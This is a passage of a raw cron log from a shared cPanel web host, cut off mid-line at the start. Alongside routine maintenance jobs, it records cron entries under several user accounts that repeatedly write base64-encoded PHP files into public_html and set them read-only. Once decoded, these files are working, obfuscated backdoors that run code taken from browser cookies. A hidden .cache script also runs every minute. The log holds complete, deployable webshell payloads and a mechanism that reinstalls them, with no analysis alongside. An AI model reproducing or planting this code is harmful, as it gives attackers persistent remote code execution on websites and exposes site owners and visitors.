"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:33:01 medusa CROND[15144]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:33:01 medusa CROND[15145]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:33:01 medusa CROND[15149]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:34:01 medusa CROND[22322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:34:01 medusa CROND[22324]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:34:01 medusa CROND[22325]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:34:01 medusa CROND[22326]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:34:01 medusa CROND[22327]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:34:01 medusa CROND[22330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:34:01 medusa CROND[22331]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:34:01 medusa CROND[22332]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:34:01 medusa CROND[22335]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:34:01 medusa CROND[22338]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:34:01 medusa CROND[22333]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:34:01 medusa CROND[22340]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:34:01 medusa CROND[22342]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:35:02 medusa CROND[29759]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:35:02 medusa CROND[29932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:35:02 medusa CROND[29972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:35:02 medusa CROND[29973]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 00:35:02 medusa CROND[29974]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:35:02 medusa CROND[29975]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:35:02 medusa CROND[29976]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:35:02 medusa CROND[29983]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 00:35:02 medusa CROND[29985]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:35:02 medusa CROND[29988]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:35:02 medusa CROND[29992]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:35:02 medusa CROND[29994]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 00:35:02 medusa CROND[29993]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:35:02 medusa CROND[29998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:35:02 medusa CROND[29999]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
